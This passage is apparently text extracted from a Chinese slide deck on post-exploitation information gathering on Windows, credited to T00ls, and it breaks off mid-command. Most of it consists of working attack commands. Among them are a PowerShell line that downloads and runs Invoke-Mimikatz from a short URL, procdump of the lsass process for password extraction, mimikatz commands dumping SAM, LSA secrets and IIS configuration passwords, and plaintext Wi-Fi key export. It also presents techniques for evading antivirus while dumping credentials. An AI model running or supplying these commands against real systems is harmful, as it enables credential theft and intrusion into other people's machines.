后渗透的信息收集终稿.pptxVIP

后渗透攻防的信息收集 cmd下信息收集 from:T00ls 后渗透常见的信息收集思路 1.1 系统管理员密码 1.2 其他用户session，3389和ipc连接记录 各用户回收站信息收集 1.3 浏览器密码和浏览器cookies的获取 ie chrome firefox 等 1.4 windows无线密码获取。数据库密码获取 1.5 host文件获取和dns缓存信息收集 等等 1.6 杀软 补丁 进程 网络代理信息wpad信息。软件列表信息 1.7 计划任务 账号密码策略与锁定策略 共享文件夹 web服务器配置文件 1.8 vpn历史密码等 teamview密码等 启动项 iislog 等等 1.9 常用的后渗透信息收集工具。powershell+passrec的使用 1.1 常用来获取windows密码的工具 1.mimikatz 2.wce 3.getpass 4.QuarksPwDump 5.reg-sam 6.pwdump7 7.procdump.exe +mimikatz ....... 1.2免杀抓取密码的两种方式 1.powershell IEX (New-Object Net.WebClient).DownloadString(http://is.gd/oeoFuI); Invoke-Mimikatz -DumpCreds tips:powershell 默认windows visa后才有 2. procdump lsass 进程导出技巧 C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp //For 32 bits C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp //For 64 bits 然后本地使用mimikatz 还原密码 1.2 windows本地的信息收集 cmdkey /list 查看3389可信任链接 使用netpass.exe 即可知道密码 net use 查看到已建立连接记录。也是直接可以 用wmic at sc 等直接执行命令的 1.3 vpn密码获取为例 其他工具如Dialupass.exe 感兴趣可以看看mimikatz dpapi模块的使用。很强大 sam 密码 ipc连接密码 mimikatz.exe privilege::debug token::elevate lsadump::sam lsadump::secrets exit 1.31windows wifi密码的获取 netsh wlan export profile interface=无线网络连接 key=clear folder=C:\ 1.4 ie浏览器的代理信息查看(网络代理信息wpad信息) reg query HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings 1.5 windows hosts/iis config C:\Windows\System32\drivers\etc\hosts windows7 windows2008等 C:\WINDOWS\SYSTEM32\DRIVERS\ETC\HOSTS windows2003位置 提权情况下或者过了uac的情况下直接type一下就行了 iis-web路径 iis6 =========cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root iis7 ,8 =======appcmd.exe %systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表 %systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径 当然你也可以用mimikatz mimiktaz 读取iis7配置文件密码 mimikatz.exe privilege::debug log iis::apphost /in:%systemroot%\system32\inetsrv\config\applicationHost.config /live exit 1.6windows 回收站的信息获取 其中$I开头的文件保存的是路径信息 $R保存的是文件 FOR /f skip=1 tokens=1,2 delims= %c in (wmic useraccount get n